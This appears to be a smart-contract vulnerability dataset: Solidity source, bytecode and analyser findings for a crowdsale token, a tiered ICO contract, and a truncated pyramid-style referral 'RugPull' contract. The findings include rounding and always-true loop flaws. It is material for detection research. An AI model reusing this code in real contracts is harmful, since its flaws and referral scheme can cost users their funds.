(bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Configurable * @dev Configurable varriables of the contract **/ contract Configurable { uint256 public constant cap = 160000000000000000*10**1; uint256 public constant basePrice = 446595885500000*10**1; // tokens per 1 ether uint256 public tokensSold = 0; uint256 public constant tokenReserve = 1*10**1; uint256 public remainingTokens = 0; } /** * @title CrowdsaleToken * @dev Contract to preform crowd sale with token **/ contract CrowdsaleToken is StandardToken, Configurable, Ownable { /** * @dev enum of current crowd sale state **/ enum Stages { none, icoStart, icoEnd } Stages currentStage; /** * @dev constructor of CrowdsaleToken **/ constructor() public { currentStage = Stages.none; balances[owner] = balances[owner].add(tokenReserve); totalSupply_ = totalSupply_.add(tokenReserve); remainingTokens = cap; emit Transfer(address(this), owner, tokenReserve); } /** * @dev fallback function to send ether to for Crowd sale **/ function () public payable { require(currentStage == Stages.icoStart); require(msg.value > 0); require(remainingTokens > 0); uint256 weiAmount = msg.value; // Calculate tokens to sell uint256 tokens = weiAmount.mul(basePrice).div(1 ether); uint256 returnWei = 0; if(tokensSold.add(tokens) > cap){ uint256 newTokens = cap.sub(tokensSold); uint256 newWei = newTokens.div(basePrice).mul(1 ether); returnWei = weiAmount.sub(newWei); weiAmount = newWei; tokens = newTokens; } tokensSold = tokensSold.add(tokens); // Increment raised amount remainingTokens = cap.sub(tokensSold); if(returnWei > 0){ msg.sender.transfer(returnWei); emit Transfer(address(this), msg.sender, returnWei); } balances[msg.sender] = balances[msg.sender].add(tokens); emit Transfer(address(this), msg.sender, tokens); totalSupply_ = totalSupply_.add(tokens); owner.transfer(weiAmount);// Send money to owner } /** * @dev startIco starts the public ICO **/ function startIco() public onlyOwner { require(currentStage != Stages.icoEnd); currentStage = Stages.icoStart; } /** * @dev endIco closes down the ICO **/ function endIco() internal { currentStage = Stages.icoEnd; // Transfer any remaining tokens if(remainingTokens > 0) balances[owner] = balances[owner].add(remainingTokens); // transfer any remaining ETH balance in the contract to the owner owner.transfer(address(this).balance); } /** * @dev finalizeIco closes down the ICO and sets needed varriables **/ function finalizeIco() public onlyOwner { require(currentStage != Stages.icoEnd); endIco(); } } /** * @title BeagleCoin * @dev Contract to create the Beagle Coin **/ contract BeagleCoin is CrowdsaleToken { string public constant name = "Beagle Coin"; string public constant symbol = "BEA"; uint32 public constant decimals = 1; }
0x6080604052600436106101115763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461036d578063095ea7b3146103f757806318160ddd1461042f57806323b872dd14610456578063313ce56714610480578063355274ea146104ae578063518ab2a8146104c357806366188463146104d857806370a08231146104fc57806389311e6f1461051d5780638da5cb5b14610534578063903a3ef61461056557806395d89b411461057a578063a9059cbb1461058f578063bf583903146105b3578063c7876ea4146105c8578063cbcb3171146105dd578063d73dd623146105f2578063dd62ed3e14610616578063f2fde38b1461063d575b600080808080600160055474010000000000000000000000000000000000000000900460ff16600281111561014257fe5b1461014c57600080fd5b6000341161015957600080fd5b60045460001061016857600080fd5b34945061019a670de0b6b3a764000061018e87660fddc413223fc063ffffffff61065e16565b9063ffffffff61068d16565b9350600092506716345785d8a000006101be856003546106a290919063ffffffff16565b111561022c576003546101e0906716345785d8a000009063ffffffff6106af16565b9150610211670de0b6b3a764000061020584660fddc413223fc063ffffffff61068d16565b9063ffffffff61065e16565b9050610223858263ffffffff6106af16565b92508094508193505b60035461023f908563ffffffff6106a216565b600381905561025d906716345785d8a000009063ffffffff6106af16565b60045560008311156102bd57604051339084156108fc029085906000818181858888f19350505050158015610296573d6000803e3d6000fd5b5060408051848152905133913091600080516020610e118339815191529181900360200190a35b336000908152602081905260409020546102dd908563ffffffff6106a216565b3360008181526020818152604091829020939093558051878152905191923092600080516020610e118339815191529281900390910190a3600154610328908563ffffffff6106a216565b600155600554604051600160a060020a039091169086156108fc029087906000818181858888f19350505050158015610365573d6000803e3d6000fd5b505050505050005b34801561037957600080fd5b506103826106c1565b6040805160208082528351818301528351919283929083019185019080838360005b838110156103bc5781810151838201526020016103a4565b50505050905090810190601f1680156103e95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561040357600080fd5b5061041b600160a060020a03600435166024356106f8565b604080519115158252519081900360200190f35b34801561043b57600080fd5b5061044461075e565b60408051918252519081900360200190f35b34801561046257600080fd5b5061041b600160a060020a0360043581169060243516604435610764565b34801561048c57600080fd5b506104956108c9565b6040805163ffffffff9092168252519081900360200190f35b3480156104ba57600080fd5b506104446108ce565b3480156104cf57600080fd5b506104446108da565b3480156104e457600080fd5b5061041b600160a060020a03600435166024356108e0565b34801561050857600080fd5b50610444600160a060020a03600435166109d0565b34801561052957600080fd5b506105326109eb565b005b34801561054057600080fd5b50610549610a6f565b60408051600160a060020a039092168252519081900360200190f35b34801561057157600080fd5b50610532610a7e565b34801561058657600080fd5b50610382610ad5565b34801561059b57600080fd5b5061041b600160a060020a0360043516602435610b0c565b3480156105bf57600080fd5b50610444610bdb565b3480156105d457600080fd5b50610444610be1565b3480156105e957600080fd5b50610444610bec565b3480156105fe57600080fd5b5061041b600160a060020a0360043516602435610bf1565b34801561062257600080fd5b50610444600160a060020a0360043581169060243516610c8a565b34801561064957600080fd5b50610532600160a060020a0360043516610cb5565b600082151561066f57506000610687565b5081810281838281151561067f57fe5b041461068757fe5b92915050565b6000818381151561069a57fe5b049392505050565b8181018281101561068757fe5b6000828211156106bb57fe5b50900390565b60408051808201909152600b81527f426561676c6520436f696e000000000000000000000000000000000000000000602082015281565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b6000600160a060020a038316151561077b57600080fd5b600160a060020a0384166000908152602081905260409020548211156107a057600080fd5b600160a060020a03841660009081526002602090815260408083203384529091529020548211156107d057600080fd5b600160a060020a0384166000908152602081905260409020546107f9908363ffffffff6106af16565b600160a060020a03808616600090815260208190526040808220939093559085168152205461082e908363ffffffff6106a216565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610870908363ffffffff6106af16565b600160a060020a0380861660008181526002602090815260408083203384528252918290209490945580518681529051928716939192600080516020610e11833981519152929181900390910190a35060019392505050565b600181565b6716345785d8a0000081565b60035481565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561093557336000908152600260209081526040808320600160a060020a038816845290915281205561096a565b610945818463ffffffff6106af16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600554600160a060020a03163314610a0257600080fd5b600260055474010000000000000000000000000000000000000000900460ff166002811115610a2d57fe5b1415610a3857600080fd5b6005805474ff0000000000000000000000000000000000000000191674010000000000000000000000000000000000000000179055565b600554600160a060020a031681565b600554600160a060020a03163314610a9557600080fd5b600260055474010000000000000000000000000000000000000000900460ff166002811115610ac057fe5b1415610acb57600080fd5b610ad3610d4a565b565b60408051808201909152600381527f4245410000000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a0383161515610b2357600080fd5b33600090815260208190526040902054821115610b3f57600080fd5b33600090815260208190526040902054610b5f908363ffffffff6106af16565b3360009081526020819052604080822092909255600160a060020a03851681522054610b91908363ffffffff6106a216565b600160a060020a03841660008181526020818152604091829020939093558051858152905191923392600080516020610e118339815191529281900390910190a350600192915050565b60045481565b660fddc413223fc081565b600a81565b336000908152600260209081526040808320600160a060020a0386168452909152812054610c25908363ffffffff6106a216565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600554600160a060020a03163314610ccc57600080fd5b600160a060020a0381161515610ce157600080fd5b600554604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36005805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6005805474ff000000000000000000000000000000000000000019167402000000000000000000000000000000000000000017905560045460001015610dd357600454600554600160a060020a0316600090815260208190526040902054610db79163ffffffff6106a216565b600554600160a060020a03166000908152602081905260409020555b600554604051600160a060020a0390911690303180156108fc02916000818181858888f19350505050158015610e0d573d6000803e3d6000fd5b505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058207055c67a0ecefc58742f62537c996c627e7134c828f2792f7e7f38294c38c69a0029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
10,460
0x526e0e252c1037f5c85ab451c35906b8c978161a
pragma solidity 0.4.18; /* * https://github.com/OpenZeppelin/zeppelin-solidity * * The MIT License (MIT) * Copyright (c) 2016 Smart Contract Solutions, Inc. */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /* * https://github.com/OpenZeppelin/zeppelin-solidity * * The MIT License (MIT) * Copyright (c) 2016 Smart Contract Solutions, Inc. */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Token interface compatible with ICO Crowdsale * @author Jakub Stefanski (https://github.com/jstefanski) * @author Wojciech Harzowski (https://github.com/harzo) * @author Dominik Kroliczek (https://github.com/kruligh) * * https://github.com/OnLivePlatform/onlive-contracts * * The BSD 3-Clause Clear License * Copyright (c) 2018 OnLive LTD */ contract IcoToken { uint256 public decimals; function transfer(address to, uint256 amount) public; function mint(address to, uint256 amount) public; function burn(uint256 amount) public; function balanceOf(address who) public view returns (uint256); } /** * @title ICO Crowdsale with multiple price tiers and limited supply * @author Jakub Stefanski (https://github.com/jstefanski) * @author Wojciech Harzowski (https://github.com/harzo) * @author Dominik Kroliczek (https://github.com/kruligh) * * https://github.com/OnLivePlatform/onlive-contracts * * The BSD 3-Clause Clear License * Copyright (c) 2018 OnLive LTD */ contract IcoCrowdsale is Ownable { using SafeMath for uint256; /** * @dev Structure representing price tier */ struct Tier { /** * @dev The first block of the tier (inclusive) */ uint256 startBlock; /** * @dev Price of token in Wei */ uint256 price; } /** * @dev Address of contribution wallet */ address public wallet; /** * @dev Address of compatible token instance */ IcoToken public token; /** * @dev Minimum ETH value sent as contribution */ uint256 public minValue; /** * @dev Indicates whether contribution identified by bytes32 id is already registered */ mapping (bytes32 => bool) public isContributionRegistered; /** * @dev Stores price tiers in chronological order */ Tier[] private tiers; /** * @dev The last block of crowdsale (inclusive) */ uint256 public endBlock; modifier onlySufficientValue(uint256 value) { require(value >= minValue); _; } modifier onlyUniqueContribution(bytes32 id) { require(!isContributionRegistered[id]); _; } modifier onlyActive() { require(isActive()); _; } modifier onlyFinished() { require(isFinished()); _; } modifier onlyScheduledTiers() { require(tiers.length > 0); _; } modifier onlyNotFinalized() { require(!isFinalized()); _; } modifier onlySubsequentBlock(uint256 startBlock) { if (tiers.length > 0) { require(startBlock > tiers[tiers.length - 1].startBlock); } _; } modifier onlyNotZero(uint256 value) { require(value != 0); _; } modifier onlyValid(address addr) { require(addr != address(0)); _; } function IcoCrowdsale( address _wallet, IcoToken _token, uint256 _minValue ) public onlyValid(_wallet) onlyValid(_token) { wallet = _wallet; token = _token; minValue = _minValue; } /** * @dev Contribution is accepted * @param contributor address The recipient of the tokens * @param value uint256 The amount of contributed ETH * @param amount uint256 The amount of tokens */ event ContributionAccepted(address indexed contributor, uint256 value, uint256 amount); /** * @dev Off-chain contribution registered * @param id bytes32 A unique contribution id * @param contributor address The recipient of the tokens * @param amount uint256 The amount of tokens */ event ContributionRegistered(bytes32 indexed id, address indexed contributor, uint256 amount); /** * @dev Tier scheduled with given start block and price * @param startBlock uint256 The first block of tier activation (inclusive) * @param price uint256 The price active during tier */ event TierScheduled(uint256 startBlock, uint256 price); /** * @dev Crowdsale end block scheduled * @param availableAmount uint256 The amount of tokens available in crowdsale * @param endBlock uint256 The last block of crowdsale (inclusive) */ event Finalized(uint256 endBlock, uint256 availableAmount); /** * @dev Unsold tokens burned */ event RemainsBurned(uint256 burnedAmount); /** * @dev Accept ETH transfers as contributions */ function () public payable { acceptContribution(msg.sender, msg.value); } /** * @dev Contribute ETH in exchange for tokens * @param contributor address The address that receives tokens * @return uint256 Amount of received ONL tokens */ function contribute(address contributor) public payable returns (uint256) { return acceptContribution(contributor, msg.value); } /** * @dev Register contribution with given id * @param id bytes32 A unique contribution id * @param contributor address The recipient of the tokens * @param amount uint256 The amount of tokens */ function registerContribution(bytes32 id, address contributor, uint256 amount) public onlyOwner onlyActive onlyValid(contributor) onlyNotZero(amount) onlyUniqueContribution(id) { isContributionRegistered[id] = true; token.transfer(contributor, amount); ContributionRegistered(id, contributor, amount); } /** * @dev Schedule price tier * @param _startBlock uint256 Block when the tier activates, inclusive * @param _price uint256 The price of the tier */ function scheduleTier(uint256 _startBlock, uint256 _price) public onlyOwner onlyNotFinalized onlySubsequentBlock(_startBlock) onlyNotZero(_startBlock) onlyNotZero(_price) { tiers.push( Tier({ startBlock: _startBlock, price: _price }) ); TierScheduled(_startBlock, _price); } /** * @dev Schedule crowdsale end * @param _endBlock uint256 The last block end of crowdsale (inclusive) * @param _availableAmount uint256 Amount of tokens available in crowdsale */ function finalize(uint256 _endBlock, uint256 _availableAmount) public onlyOwner onlyNotFinalized onlyScheduledTiers onlySubsequentBlock(_endBlock) onlyNotZero(_availableAmount) { endBlock = _endBlock; token.mint(this, _availableAmount); Finalized(_endBlock, _availableAmount); } /** * @dev Burns all tokens which have not been sold */ function burnRemains() public onlyOwner onlyFinished { uint256 amount = availableAmount(); token.burn(amount); RemainsBurned(amount); } /** * @dev Calculate amount of ONL tokens received for given ETH value * @param value uint256 Contribution value in wei * @return uint256 Amount of received ONL tokens if contract active, otherwise 0 */ function calculateContribution(uint256 value) public view returns (uint256) { uint256 price = currentPrice(); if (price > 0) { return value.mul(10 ** token.decimals()).div(price); } return 0; } /** * @dev Find closest tier id to given block * @return uint256 Tier containing the block or zero if before start or last if after finished */ function getTierId(uint256 blockNumber) public view returns (uint256) { for (uint256 i = tiers.length - 1; i >= 0; i--) { if (blockNumber >= tiers[i].startBlock) { return i; } } return 0; } /** * @dev Get price of the current tier * @return uint256 Current price if tiers defined, otherwise 0 */ function currentPrice() public view returns (uint256) { if (tiers.length > 0) { uint256 id = getTierId(block.number); return tiers[id].price; } return 0; } /** * @dev Get current tier id * @return uint256 Tier containing the block or zero if before start or last if after finished */ function currentTierId() public view returns (uint256) { return getTierId(block.number); } /** * @dev Get available amount of tokens * @return uint256 Amount of unsold tokens */ function availableAmount() public view returns (uint256) { return token.balanceOf(this); } /** * @dev Get specification of all tiers */ function listTiers() public view returns (uint256[] startBlocks, uint256[] endBlocks, uint256[] prices) { startBlocks = new uint256[](tiers.length); endBlocks = new uint256[](tiers.length); prices = new uint256[](tiers.length); for (uint256 i = 0; i < tiers.length; i++) { startBlocks[i] = tiers[i].startBlock; prices[i] = tiers[i].price; if (i + 1 < tiers.length) { endBlocks[i] = tiers[i + 1].startBlock - 1; } else { endBlocks[i] = endBlock; } } } /** * @dev Check whether crowdsale is currently active * @return boolean True if current block number is within tier ranges, otherwise False */ function isActive() public view returns (bool) { return tiers.length > 0 && block.number >= tiers[0].startBlock && block.number <= endBlock; } /** * @dev Check whether sale end is scheduled * @return boolean True if end block is defined, otherwise False */ function isFinalized() public view returns (bool) { return endBlock > 0; } /** * @dev Check whether crowdsale has finished * @return boolean True if end block passed, otherwise False */ function isFinished() public view returns (bool) { return endBlock > 0 && block.number > endBlock; } function acceptContribution(address contributor, uint256 value) private onlyActive onlyValid(contributor) onlySufficientValue(value) returns (uint256) { uint256 amount = calculateContribution(value); token.transfer(contributor, amount); wallet.transfer(value); ContributionAccepted(contributor, value, amount); return amount; } }
0x60606040526004361061011c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168062a139011461012957806306e16a361461013e578063083c6323146101675780631c6e38991461019057806322f3e2d4146101c75780633c2efb22146101f457806351349d5f14610233578063521eb2731461025f57806373e888fd146102b45780637b352962146102f65780638b5b4228146103235780638d4e40831461041d5780638da5cb5b1461044a57806391f7cfb91461049f578063963e63c7146104c85780639d1b464a146104f1578063b6013cef1461051a578063f2fde38b14610546578063f658b1d51461057f578063f8d578f0146105b6578063fc0c546a14610605575b610126333461065a565b50005b341561013457600080fd5b61013c610866565b005b341561014957600080fd5b6101516109be565b6040518082815260200191505060405180910390f35b341561017257600080fd5b61017a6109ce565b6040518082815260200191505060405180910390f35b341561019b57600080fd5b6101b160048080359060200190919050506109d4565b6040518082815260200191505060405180910390f35b34156101d257600080fd5b6101da610a37565b604051808215151515815260200191505060405180910390f35b34156101ff57600080fd5b610219600480803560001916906020019091905050610a81565b604051808215151515815260200191505060405180910390f35b341561023e57600080fd5b61025d6004808035906020019091908035906020019091905050610aa1565b005b341561026a57600080fd5b610272610c13565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102e0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c39565b6040518082815260200191505060405180910390f35b341561030157600080fd5b610309610c4c565b604051808215151515815260200191505060405180910390f35b341561032e57600080fd5b610336610c65565b60405180806020018060200180602001848103845287818151815260200191508051906020019060200280838360005b83811015610381578082015181840152602081019050610366565b50505050905001848103835286818151815260200191508051906020019060200280838360005b838110156103c35780820151818401526020810190506103a8565b50505050905001848103825285818151815260200191508051906020019060200280838360005b838110156104055780820151818401526020810190506103ea565b50505050905001965050505050505060405180910390f35b341561042857600080fd5b610430610e08565b604051808215151515815260200191505060405180910390f35b341561045557600080fd5b61045d610e14565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104aa57600080fd5b6104b2610e39565b6040518082815260200191505060405180910390f35b34156104d357600080fd5b6104db610f20565b6040518082815260200191505060405180910390f35b34156104fc57600080fd5b610504610f26565b6040518082815260200191505060405180910390f35b341561052557600080fd5b6105446004808035906020019091908035906020019091905050610f73565b005b341561055157600080fd5b61057d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611171565b005b341561058a57600080fd5b6105a060048080359060200190919050506112c6565b6040518082815260200191505060405180910390f35b34156105c157600080fd5b61060360048080356000191690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506113be565b005b341561061057600080fd5b610618611617565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600080610665610a37565b151561067057600080fd5b83600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156106ad57600080fd5b8360035481101515156106bf57600080fd5b6106c8856112c6565b9250600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb87856040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b151561078e57600080fd5b6102c65a03f1151561079f57600080fd5b505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc869081150290604051600060405180830381858888f19350505050151561080457600080fd5b8573ffffffffffffffffffffffffffffffffffffffff167fc82bd2657a86085d10f487c20f5c22d24b8031e8d43be961bfec4ee100df27ba8685604051808381526020018281526020019250505060405180910390a282935050505092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108c357600080fd5b6108cb610c4c565b15156108d657600080fd5b6108de610e39565b9050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166342966c68826040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b151561097057600080fd5b6102c65a03f1151561098157600080fd5b5050507ff3ef5a589d6b2cbcb14401a0bb2a9e089011f8415ea930fd7dd13ebbafd8573a816040518082815260200191505060405180910390a150565b60006109c9436109d4565b905090565b60065481565b60008060016005805490500390505b600081101515610a2c576005818154811015156109fc57fe5b90600052602060002090600202016000015483101515610a1e57809150610a31565b8080600190039150506109e3565b600091505b50919050565b600080600580549050118015610a6e575060056000815481101515610a5857fe5b9060005260206000209060020201600001544310155b8015610a7c57506006544311155b905090565b60046020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610afc57600080fd5b610b04610e08565b151515610b1057600080fd5b8160006005805490501115610b56576005600160058054905003815481101515610b3657fe5b90600052602060002090600202016000015481111515610b5557600080fd5b5b8260008114151515610b6757600080fd5b8260008114151515610b7857600080fd5b60058054806001018281610b8c9190611693565b91600052602060002090600202016000604080519081016040528089815260200188815250909190915060008201518160000155602082015181600101555050507fe910947d2d7e6a3288bd2d48460ebed44b0c73947479e9134142d15c8c3e33018585604051808381526020018281526020019250505060405180910390a15050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610c45823461065a565b9050919050565b600080600654118015610c60575060065443115b905090565b610c6d6116c5565b610c756116c5565b610c7d6116c5565b6000600580549050604051805910610c925750595b90808252806020026020018201604052509350600580549050604051805910610cb85750595b90808252806020026020018201604052509250600580549050604051805910610cde5750595b90808252806020026020018201604052509150600090505b600580549050811015610e0257600581815481101515610d1257fe5b9060005260206000209060020201600001548482815181101515610d3257fe5b9060200190602002018181525050600581815481101515610d4f57fe5b9060005260206000209060020201600101548282815181101515610d6f57fe5b9060200190602002018181525050600580549050600182011015610dd5576001600560018301815481101515610da157fe5b906000526020600020906002020160000154038382815181101515610dc257fe5b9060200190602002018181525050610df5565b6006548382815181101515610de657fe5b90602001906020020181815250505b8080600101915050610cf6565b50909192565b60008060065411905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515610f0057600080fd5b6102c65a03f11515610f1157600080fd5b50505060405180519050905090565b60035481565b60008060006005805490501115610f6a57610f40436109d4565b9050600581815481101515610f5157fe5b9060005260206000209060020201600101549150610f6f565b600091505b5090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fce57600080fd5b610fd6610e08565b151515610fe257600080fd5b6000600580549050111515610ff657600080fd5b816000600580549050111561103c57600560016005805490500381548110151561101c57fe5b9060005260206000209060020201600001548111151561103b57600080fd5b5b816000811415151561104d57600080fd5b83600681905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1930856040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b151561111857600080fd5b6102c65a03f1151561112957600080fd5b5050507fb968440accd1ce5fa60b00de8bb8d8487eb2fda3c3701fb30fea3f69aa910a488484604051808381526020018281526020019250505060405180910390a150505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111cc57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561120857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806112d1610f26565b905060008111156113b3576113ac8161139e600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663313ce5676000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561137157600080fd5b6102c65a03f1151561138257600080fd5b50505060405180519050600a0a8661163d90919063ffffffff16565b61167890919063ffffffff16565b91506113b8565b600091505b50919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561141957600080fd5b611421610a37565b151561142c57600080fd5b81600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561146957600080fd5b816000811415151561147a57600080fd5b8460046000826000191660001916815260200190815260200160002060009054906101000a900460ff161515156114b057600080fd5b600160046000886000191660001916815260200190815260200160002060006101000a81548160ff021916908315150217905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb86866040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15156115a857600080fd5b6102c65a03f115156115b957600080fd5b5050508473ffffffffffffffffffffffffffffffffffffffff1686600019167f1d978f9e1df3910a137d9fde0320c164e817c01d8142a2127d9a381e1ac67206866040518082815260200191505060405180910390a3505050505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008414156116525760009150611671565b828402905082848281151561166357fe5b0414151561166d57fe5b8091505b5092915050565b600080828481151561168657fe5b0490508091505092915050565b8154818355818115116116c0576002028160020283600052602060002091820191016116bf91906116d9565b5b505050565b602060405190810160405280600081525090565b61170591905b80821115611701576000808201600090556001820160009055506002016116df565b5090565b905600a165627a7a72305820fd8f0217f45feb73023d02425655c5165de8eb038c3143181598b02989e2e96e0029
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
10,461
0xc26C2dD3cc58228D6aba3250Cb14d55F5FA9c7F5
/** *Submitted for verification at Etherscan.io on 2020-10-22 */ // SPDX-License-Identifier: MIT pragma solidity ^ 0.6.6; contract RugPull{ Pyramid public PiZZa; RugToken public Rugs; uint public carpetBags = 25000; address public RugChallenger; uint public RugChallengerHP; address public CARPET_KING; uint public carpet_dynasty_generation; address public DEV; ERC20 public Resolve; address payable address0 = address(0); mapping(address => address) public gateway; mapping(address => bool) public initiated; mapping(address => uint) public pocket; mapping(address => uint) public thanks; constructor() public{ PiZZa = Pyramid(0x91683899ed812C1AC49590779cb72DA6BF7971fE); Rugs = new RugToken(); DEV = msg.sender; CARPET_KING = DEV; RugChallenger = DEV; Resolve = PiZZa.resolveToken(); gateway[CARPET_KING] = CARPET_KING; initiated[DEV] = true; } function weight(address addr) public view returns(uint){ return Resolve.balanceOf(addr); } function buy(address _gateway, uint _red, uint _green, uint _blue) public payable returns(uint bondsCreated){ address sender = msg.sender; if( !initiated[sender] ){ if( initiated[_gateway] ){ gateway[sender] = _gateway; }else{ gateway[sender] = RugChallenger; } initiated[sender] = true; } if(_red>1e18) _red = 1e18; if(_green>1e18) _green = 1e18; if(_blue>1e18) _blue = 1e18; uint[] memory UINTs = new uint[](4); UINTs[0] = msg.value * 3 / 100; UINTs[1] = msg.value * 2 / 100; UINTs[2] = msg.value * 1 / 100; UINTs[3] = msg.value * 6 / 1000; uint eth4PiZZa = msg.value - UINTs[0] - UINTs[1] - UINTs[2] - UINTs[3]; address lvl1 = gateway[sender]; if( weight(lvl1) > weight(sender) ){ pocket[ lvl1 ] += UINTs[0]; }else{ splitForKingAndRugChallenger(UINTs[0]); emit ReffSnatch(RugChallenger, gateway[sender]); gateway[sender] = RugChallenger; } address lvl2 = gateway[lvl1]; if( weight(lvl2) > weight(sender) ){ pocket[ lvl2 ] += UINTs[1]; }else{ splitForKingAndRugChallenger(UINTs[1]); emit ReffSnatch(sender, gateway[lvl1]); gateway[lvl1] = sender; } address lvl3 = gateway[lvl2]; if( 